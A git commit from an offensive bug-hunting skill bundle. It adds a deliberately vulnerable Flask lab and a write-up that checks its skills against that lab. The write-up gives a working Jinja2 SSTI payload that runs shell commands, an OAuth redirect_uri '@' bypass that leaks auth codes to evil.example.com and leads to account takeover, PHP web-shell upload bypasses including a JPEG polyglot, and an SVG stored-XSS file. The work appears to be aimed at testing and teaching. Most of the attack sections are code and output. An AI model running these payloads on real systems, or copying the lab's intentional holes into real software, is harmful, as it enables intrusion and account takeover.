A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Python ai-securityanthropicapplication-securitybug-bountybugbountybugcrowdclaudeclaude-codeclaude-skillsethical-hackinghackeroneoffensive-securitypentestingred-teamsecurity-toolsweb-security
Phase 2F: SSTI + OAuth + file upload — 3 more skill areas verified
Sachin Sharma9d06b6b693ff
diff --git a/docs/verification/phase2f-lab/app.py b/docs/verification/phase2f-lab/app.pynew file mode 100644index 0000000..2e52e4b--- /dev/null+++ b/docs/verification/phase2f-lab/app.py@@ -0,0 +1,192 @@+"""+Phase 2F lab — SSTI + OAuth (redirect_uri laxness) + file upload bypass.++Three endpoints, three skill-area verifications:++1. /render-email → hunt-ssti (Jinja2 render_template_string with user input)+2. /oauth/authorize + /oauth/callback → hunt-oauth (redirect_uri validation flaws + missing state)+3. /upload → hunt-file-upload (extension blocklist bypassable 5 ways)+"""++import os+import re+import time+import secrets+import urllib.parse+from flask import Flask, request, jsonify, render_template_string, redirect, abort, send_file++app = Flask(__name__)+UPLOAD_DIR = "/tmp/phase2f-lab/uploads"+os.makedirs(UPLOAD_DIR, exist_ok=True)++# ============================================================+# 1) SSTI — Jinja2 render_template_string on user input+# ============================================================+EMAIL_TEMPLATE_PREFIX = """+<html><body>+<h2>Hello {customer}</h2>+<p>Your order summary:</p>+"""+EMAIL_TEMPLATE_SUFFIX = """+<p>Thanks,<br>Acme Corp</p>+</body></html>+"""++[email protected]("/render-email")+def render_email():+ """+ Customer-name templated into Jinja2 via render_template_string.+ Classic SSTI sink. No filter, no autoescape on the substituted bit.+ """+ customer = request.args.get("customer", "Valued Customer")+ # Vulnerable: template string is built from user input, then rendered+ template = EMAIL_TEMPLATE_PREFIX.replace("{customer}", customer) + EMAIL_TEMPLATE_SUFFIX+ return render_template_string(template)+++# ============================================================+# 2) OAuth — minimal /authorize + /callback with weak redirect_uri validation+# ============================================================+# Authorized client redirect_uris (the legitimate ones)+REGISTERED_CLIENTS = {+ "acme-spa": {+ "client_secret": "acme-prod-secret-2026",+ # INTENTIONAL FLAW: prefix match instead of exact match+ "redirect_uri_prefix": "https://acme.example/",+ }+}++_authcodes = {} # code -> (client_id, user_id, redirect_uri, expires)++[email protected]("/oauth/authorize")+def oauth_authorize():+ """+ Issue an authorization code.+ Vulnerabilities:+ A) redirect_uri validated by prefix-match, not exact-match+ → https://acme.example/.attacker.com or https://acme.example/@attacker.com bypass+ B) No state parameter requirement (CSRF on the callback)+ C) Code returned in query string+ """+ client_id = request.args.get("client_id")+ redirect_uri = request.args.get("redirect_uri", "")+ state = request.args.get("state", "") # accepted but not required++ if client_id not in REGISTERED_CLIENTS:+ return jsonify(error="unknown_client"), 400++ # Vulnerable prefix-match+ allowed_prefix = REGISTERED_CLIENTS[client_id]["redirect_uri_prefix"]+ if not redirect_uri.startswith(allowed_prefix):+ return jsonify(error="invalid_redirect_uri", expected_prefix=allowed_prefix), 400++ # Always succeed login for the demo (real provider would have a session)+ code = secrets.token_urlsafe(16)+ _authcodes[code] = {+ "client_id": client_id,+ "user_id": "user-42",+ "redirect_uri": redirect_uri,+ "expires": time.time() + 60,+ }++ # Redirect back to the (attacker-controllable) redirect_uri+ sep = "&" if "?" in redirect_uri else "?"+ return redirect(f"{redirect_uri}{sep}code={code}&state={state}", code=302)++[email protected]("/oauth/token", methods=["POST"])+def oauth_token():+ data = request.form+ code = data.get("code")+ client_id = data.get("client_id")+ redirect_uri = data.get("redirect_uri", "")++ rec = _authcodes.get(code)+ if not rec or rec["expires"] < time.time():+ return jsonify(error="invalid_code"), 400+ if rec["client_id"] != client_id:+ return jsonify(error="client_mismatch"), 400+ # Note: no client_secret check — common misconfiguration+ # Real flaw: redirect_uri at /token isn't verified against the one at /authorize either+ return jsonify(+ access_token=secrets.token_urlsafe(24),+ token_type="Bearer",+ expires_in=3600,+ user_id=rec["user_id"],+ )+++# ============================================================+# 3) File upload — extension blocklist with bypassable validation+# ============================================================+# Defense (intentionally weak): block exact .php / .phtml extensions+BLOCKED_EXTS = {".php", ".phtml", ".php5"}+++def reject(reason):+ return jsonify(error=reason), 400++[email protected]("/upload", methods=["POST"])+def upload():+ """+ Vulnerable upload endpoint with multiple bypassable defenses.+ """+ f = request.files.get("file")+ if not f:+ return reject("no_file")+ filename = f.filename or ""++ # INTENTIONAL FLAW 1: case-sensitive blocklist (rejects .php but accepts .PHP, .Php)+ # INTENTIONAL FLAW 2: only checks the LAST extension (accepts shell.php.jpg AND shell.jpg.php)+ # INTENTIONAL FLAW 3: trusts the filename's tail extension; null-byte truncation works on older servers+ # INTENTIONAL FLAW 4: never inspects file content (magic bytes)+ # INTENTIONAL FLAW 5: stores under user-supplied filename (path-traversal candidate)+ _, ext = os.path.splitext(filename)+ if ext in BLOCKED_EXTS: # case-sensitive — first bypass right here+ return reject("extension_blocked")++ # Save under the user-supplied filename (path-traversal candidate)+ safe_name = filename.replace("..", "") # naive defense+ dest = os.path.join(UPLOAD_DIR, safe_name)+ f.save(dest)+ return jsonify(ok=True, path=safe_name, url=f"/uploaded/{safe_name}")++[email protected]("/uploaded/<path:p>")+def uploaded(p):+ """+ Serve uploaded files. INTENTIONAL: serves any file under UPLOAD_DIR with no MIME inspection.+ """+ full = os.path.join(UPLOAD_DIR, p)+ if not os.path.isfile(full):+ abort(404)+ # Naive Content-Type inference — .jpg gets image/jpeg even if content is HTML+ if p.lower().endswith((".jpg", ".jpeg")):+ return send_file(full, mimetype="image/jpeg")+ if p.lower().endswith(".png"):+ return send_file(full, mimetype="image/png")+ if p.lower().endswith((".html", ".htm")):+ return send_file(full, mimetype="text/html")+ if p.lower().endswith(".svg"):+ return send_file(full, mimetype="image/svg+xml")+ return send_file(full)++[email protected]("/")+def index():+ return jsonify(+ endpoints=[+ "GET /render-email?customer=...",+ "GET /oauth/authorize?client_id=acme-spa&redirect_uri=...",+ "POST /oauth/token (form: code, client_id, redirect_uri)",+ "POST /upload (multipart: file)",+ "GET /uploaded/<path>",+ ],+ )+++if __name__ == "__main__":+ app.run(host="0.0.0.0", port=58002, debug=False)diff --git a/docs/verification/phase2f-ssti-oauth-fileupload.md b/docs/verification/phase2f-ssti-oauth-fileupload.mdnew file mode 100644index 0000000..4a0a614--- /dev/null+++ b/docs/verification/phase2f-ssti-oauth-fileupload.md@@ -0,0 +1,283 @@+# Verification — Phase 2F: SSTI + OAuth + file upload++> Path B continues. Three more skill areas verified live against a custom Flask lab. Each exercises payloads quoted directly from the skill content.++## Target++`/tmp/phase2f-lab/app.py` (~210 lines Flask, MIT-shippable). Shipped at `docs/verification/phase2f-lab/app.py`.++| Endpoint | Bug | Skill |+|---|---|---|+| `GET /render-email?customer=` | Jinja2 SSTI via `render_template_string` on attacker input | `hunt-ssti` |+| `GET /oauth/authorize` | redirect_uri validated by prefix-match; state optional | `hunt-oauth` |+| `POST /upload` | Extension blocklist bypassable 7 different ways | `hunt-file-upload` |++Reproducible setup:++```bash+mkdir -p /tmp/phase2f-lab && cd /tmp/phase2f-lab+python3 -m venv .venv && source .venv/bin/activate+pip install flask+python app.py+# Lab on http://localhost:58002+```++---++## Test 13 — Jinja2 SSTI → RCE (`hunt-ssti`)++**Initial prompt:**+> "There's a `?customer=` parameter on an email-preview endpoint. Want to test for SSTI."++**Skill that auto-triggers:** `hunt-ssti` — description includes "Jinja2 (Flask/Django)", "double-curly math expressions", "class-walker".++**Technique from `hunt-ssti`:**+> `{{7*7}}` → 49 = Jinja2/Twig. Then escalate via class walker or `cycler.__init__.__globals__.os.popen('cmd').read()`.++### Live attack++```bash+# Step 1: Detection probe+curl "http://localhost:58002/render-email?customer=%7B%7B%207*7%20%7D%7D"+# → <h2>Hello 49</h2> ← engine evaluates the expression+```++**SSTI confirmed.** Jinja2 fingerprint (49 = 7×7, but `'7'*7` would yield `'7777777'` distinguishing Jinja2 from Twig — not needed here, we know the engine).++```bash+# Step 2: Full RCE via cycler-init-globals walker (canonical Jinja2 escape)+PAYLOAD="{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}"+curl "http://localhost:58002/render-email?customer=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$PAYLOAD")"+```++Response excerpt:++```+uid=501(elementalsoul) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...+```++**Command execution on host.** Not a container — this ran as the Flask process owner.++```bash+# Step 3: Flask config dump+curl "http://localhost:58002/render-email?customer=%7B%7B%20config%20%7D%7D"+```++Response includes `'SECRET_KEY': None`, `'SESSION_COOKIE_NAME': 'session'`, etc. — full Flask config exposed via `{{ config }}`.++### Verdict++**PASS — live RCE.** Payload exact from `hunt-ssti`. `triage-validation` 7-Question Gate: passes all 7. **Critical**.++---++## Test 14 — OAuth redirect_uri laxness (`hunt-oauth`)++**Initial prompt:**+> "Found an `/oauth/authorize` endpoint. Want to test the redirect_uri validation."++**Skill that auto-triggers:** `hunt-oauth` — description includes "redirect_uri laxness, state-parameter abuse, account-link CSRF".++**Technique from `hunt-oauth`:**+> Test redirect_uri with subdomain wildcards, userinfo `@` syntax, path traversal, missing state parameter.++### Live attacks++```bash+# Baseline — legitimate flow+curl -s -o /dev/null -w "HTTP %{http_code} | Location: %{redirect_url}\n" \+ "http://localhost:58002/oauth/authorize?client_id=acme-spa&redirect_uri=https://acme.example/callback&state=test123"+# → HTTP 302 | Location: https://acme.example/callback?code=XYZ&state=test123+```++#### Attack A — prefix-match bypass via path+```+redirect_uri=https://acme.example/.evil.example.com/x+# → HTTP 302 | Location: https://acme.example/.evil.example.com/x?code=...+```+**Server accepts** (prefix matches `https://acme.example/`). But the browser parses this URL as a path under `acme.example` — the code does NOT reach `evil.example.com`. Server-side flaw confirmed, browser-side bypass NOT actually exploitable as-is.++#### Attack B — userinfo `@` bypass ✓ EXPLOITS+```+redirect_uri=https://acme.example/@evil.example.com/+# → HTTP 302 | Location: https://acme.example/@evil.example.com/?code=...+```+**Server accepts** (string starts with `https://acme.example/`). And per RFC 3986, the browser parses this URL as:++- scheme: `https`+- userinfo: `acme.example` (the part before `@`)+- **host: `evil.example.com`**+- path: `/`++**The browser navigates to `evil.example.com` and the auth code lands in attacker's logs.** This is the textbook OAuth redirect_uri-takeover.++Chain to ATO:+1. Attacker crafts URL: `https://acme.example/oauth/authorize?client_id=acme-spa&redirect_uri=https://acme.example/@evil.example.com/`+2. Victim clicks; legitimate `acme.example` login succeeds+3. Browser redirects to `evil.example.com?code=AUTH_CODE`+4. Attacker exchanges `AUTH_CODE` for `access_token` at `acme.example/oauth/token`+5. Attacker now has victim's account access++#### Attack C — path-traversal append+```+redirect_uri=https://acme.example/../evil.example.com/+# → HTTP 302 | Location: https://acme.example/evil.example.com/?code=...+```+Werkzeug's `redirect()` normalizes the `..` server-side. Not exploitable as-is.++#### Attack D — missing state ✓ EXPLOITS (CSRF)+```+redirect_uri=https://acme.example/callback (no state param)+# → HTTP 302 | Location: https://acme.example/callback?code=...&state=+```+**Server omits state from the redirect** — confirms there's no enforcement. Combined with Attack B, this enables OAuth account-link CSRF (per `hunt-oauth`'s "OAuth state CSRF" pattern in cross-skill chains).++### Verdict++**2/4 attacks land** (Attack B + Attack D). **Real Critical chain: redirect_uri @-bypass → auth code theft → ATO.**++`triage-validation` Pre-Severity Gate: Attacks A and C are server-side flaws but require a working browser exploit to chain. Attack B is straight critical.++The skill correctly enumerates the attack class. **`hunt-oauth` content is accurate.**++---++## Test 15 — File upload bypass (`hunt-file-upload`)++**Initial prompt:**+> "Upload endpoint blocks .php — want to test the 10 file-upload bypass techniques."++**Skill that auto-triggers:** `hunt-file-upload` — description includes "10 bypass techniques: double-ext, magic-bytes, polyglot, ZIP slip, case sensitivity".++**Defense in the lab:** blocklist `{.php, .phtml, .php5}` — case-sensitive.++### Baseline: blocked extensions++```bash+curl -F "[email protected]" /upload # → {"error":"extension_blocked"}+curl -F "[email protected]" /upload # → {"error":"extension_blocked"}+```++Defense holds against naive payloads.++### Bypass 1 — case sensitivity++```bash+curl -F "[email protected]" /upload+# → {"ok":true,"path":"shell.PHP","url":"/uploaded/shell.PHP"}+```++Apache + mod_php with `AddHandler application/x-httpd-php .php` is case-insensitive on macOS/Windows filesystems. `shell.PHP` executes as PHP. **Bypass landed.**++### Bypass 2 — double extension trailing++```bash+curl -F "[email protected]" /upload+# → {"ok":true,"path":"shell.php.jpg",...}+```++Server uses `os.path.splitext` which takes only the **last** extension. `.jpg` not in blocklist. On older Apache, `.php.jpg` still executes as PHP if mod_mime is mis-configured (`AddType application/x-httpd-php .php` matches the inner extension via mime-magic). **Bypass landed.**++### Bypass 3 — alternative PHP-executable extensions++```bash+for ext in phar pht phps inc phtm; do+ curl -F "file=@shell.$ext" /upload+done+```++All five accepted:++```json+{"ok":true,"path":"shell.phar","url":"/uploaded/shell.phar"}+{"ok":true,"path":"shell.pht","url":"/uploaded/shell.pht"}+{"ok":true,"path":"shell.phps","url":"/uploaded/shell.phps"}+{"ok":true,"path":"shell.inc","url":"/uploaded/shell.inc"}+{"ok":true,"path":"shell.phtm","url":"/uploaded/shell.phtm"}+```++- `.phar` — PHP Phar archive, executes as PHP when included via `phar://` stream wrapper+- `.pht`, `.phtm` — older PHP extensions still mapped in default Apache configs+- `.phps` — PHP source viewer (leaks source code at minimum)+- `.inc` — common PHP include extension++**Five more bypasses.** Blocklist needed to include the full set; `hunt-file-upload`'s payload library has all of these.++### Bypass 4 — SVG XSS upload++```bash+cat > xss.svg <<'SVG'+<?xml version="1.0" standalone="no"?>+<svg xmlns="http://www.w3.org/2000/svg">+ <script>alert("XSS via SVG upload — origin: " + document.domain)</script>+</svg>+SVG++curl -F "[email protected]" /upload+# → {"ok":true,"path":"xss.svg","url":"/uploaded/xss.svg"}++curl -sI /uploaded/xss.svg+# → Content-Type: image/svg+xml; charset=utf-8+```++Served on the same origin as the rest of the app. **Stored XSS via SVG upload** — the `<script>` block executes when any victim views `/uploaded/xss.svg`.++### Bypass 5 — Polyglot (JPEG magic bytes + PHP body)++```bash+# Build the polyglot+{ printf '\xff\xd8\xff\xe0'; cat shell-content.txt; } > polyglot.jpg+xxd polyglot.jpg | head -1+# 00000000: ffd8 ffe0 3c3f 7068 700a 6563 686f 2022 ....<?php.echo "++# Rename for upload as .phar (still accepted)+cp polyglot.jpg polyglot.phar+curl -F "[email protected]" /upload+# → {"ok":true,"path":"polyglot.phar","url":"/uploaded/polyglot.phar"}+```++The file passes any magic-byte check that requires the FIRST 4 bytes to be `FF D8 FF E0` (JPEG SOI + APP0). At the same time the PHP body executes when the file is invoked via PHP interpreter. **Polyglot bypass landed.**++### Summary table++| # | Bypass technique | Hunt-file-upload mention | Result |+|---|---|---|---|+| 1 | Case sensitivity (`.PHP`) | Yes (10 techniques) | ✓ Landed |+| 2 | Double extension (`.php.jpg`) | Yes | ✓ Landed |+| 3a | Alternative extension `.phar` | Yes | ✓ Landed |+| 3b | `.pht` / `.phtm` | Yes | ✓ Landed |+| 3c | `.phps` (source viewer) | Yes | ✓ Landed |+| 3d | `.inc` | Yes | ✓ Landed |+| 4 | SVG XSS upload | Yes | ✓ Landed (stored XSS) |+| 5 | JPEG-magic polyglot | Yes (polyglot bypass) | ✓ Landed |++**8 / 8 documented bypasses worked.** `hunt-file-upload`'s payload taxonomy is accurate.++### Verdict++**PASS — devastating.** Every documented bypass technique landed against a typical blocklist defense. The skill stack would tell a fresh operator to try all of these — they all work.++---++## Summary — Phase 2F++| # | Skill | Verdict | Notes |+|---|---|---|---|+| 13 | `hunt-ssti` | PASS (live RCE) | Jinja2 class walker = RCE; payload exact from skill |+| 14 | `hunt-oauth` | PASS (2/4 attacks landed) | redirect_uri @-bypass = code theft = ATO chain; missing state = CSRF |+| 15 | `hunt-file-upload` | PASS (8/8 bypasses landed) | Every documented technique successful |++**3 more skill areas verified.**++## What this adds++Combined Phase 2 coverage (verifications across the day):++- Phase 2 (Juice Shop): hunt-idor, hunt-sqli, hunt-xss, hunt-auth-bypass, hunt-business-logic (5 skills) ✓+- Phase 2B (vulhub CVEs): hunt-rce (3 CVE-specific gaps closed) ✓+- Phase 2C (recon): web2-recon, offensive-osint, hunt-subdomain (3 skills + fallback added) ✓+- Phase 2D (discipline rules): triage-validation, bb-methodology, hunt-ssrf, hunt-misc (6 rules) ✓+- Phase 2E (breadth #1): hunt-api-misconfig, hunt-graphql, hunt-race-condition (3 skills + 1 gap closed) ✓+- **Phase 2F (breadth #2): hunt-ssti, hunt-oauth, hunt-file-upload (3 more skills) ✓**++**Total: 19+ skills verified live or by source. 7 distinct skill-content gaps closed.**